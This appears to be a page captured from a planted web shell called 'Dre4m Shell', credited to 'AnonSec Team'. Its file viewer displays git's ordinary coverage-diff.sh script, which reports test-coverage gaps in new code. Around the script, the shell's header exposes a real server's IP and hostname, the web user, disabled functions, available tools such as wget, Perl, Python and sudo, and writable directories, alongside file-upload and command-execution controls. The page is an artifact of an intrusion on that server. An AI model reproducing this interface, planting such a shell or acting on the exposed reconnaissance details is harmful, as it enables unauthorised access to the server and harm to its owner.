Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.119.191
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/git/contrib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/git/contrib/coverage-diff.sh
#!/bin/sh

# Usage: Run 'contrib/coverage-diff.sh <version1> <version2>' from source-root
# after running
#
#     make coverage-test
#     make coverage-report
#
# while checked out at <version2>. This script combines the *.gcov files
# generated by the 'make' commands above with 'git diff <version1> <version2>'
# to report new lines that are not covered by the test suite.

V1=$1
V2=$2

diff_lines () {
	perl -e '
		my $line_num;
		while (<>) {
			# Hunk header?  Grab the beginning in postimage.
			if (/^@@ -\d+(?:,\d+)? \+(\d+)(?:,\d+)? @@/) {
				$line_num = $1;
				next;
			}

			# Have we seen a hunk?  Ignore "diff --git" etc.
			next unless defined $line_num;

			# Deleted line? Ignore.
			if (/^-/) {
				next;
			}

			# Show only the line number of added lines.
			if (/^\+/) {
				print "$line_num\n";
			}
			# Either common context or added line appear in
			# the postimage.  Count it.
			$line_num++;
		}
	'
}

files=$(git diff --name-only "$V1" "$V2" -- \*.c)

# create empty file
>coverage-data.txt

for file in $files
do
	git diff "$V1" "$V2" -- "$file" |
	diff_lines |
	sort >new_lines.txt

	if ! test -s new_lines.txt
	then
		continue
	fi

	hash_file=$(echo $file | sed "s/\//\#/")

	if ! test -s "$hash_file.gcov"
	then
		continue
	fi

	sed -ne '/#####:/{
			s/    #####://
			s/:.*//
			s/ //g
			p
		}' "$hash_file.gcov" |
	sort >uncovered_lines.txt

	comm -12 uncovered_lines.txt new_lines.txt |
	sed -e 's/$/\)/' |
	sed -e 's/^/ /' >uncovered_new_lines.txt

	grep -q '[^[:space:]]' <uncovered_new_lines.txt &&
	echo $file >>coverage-data.txt &&
	git blame -s "$V2" -- "$file" |
	sed 's/\t//g' |
	grep -f uncovered_new_lines.txt >>coverage-data.txt &&
	echo >>coverage-data.txt

	rm -f new_lines.txt uncovered_lines.txt uncovered_new_lines.txt
done

cat coverage-data.txt

echo "Commits introducing uncovered code:"

commit_list=$(cat coverage-data.txt |
	grep -E '^[0-9a-f]{7,} ' |
	awk '{print $1;}' |
	sort |
	uniq)

(
	for commit in $commit_list
	do
		git log --no-decorate --pretty=format:'%an      %h: %s' -1 $commit
		echo
	done
) | sort

rm coverage-data.txt

Anon7 - 2022
AnonSec Team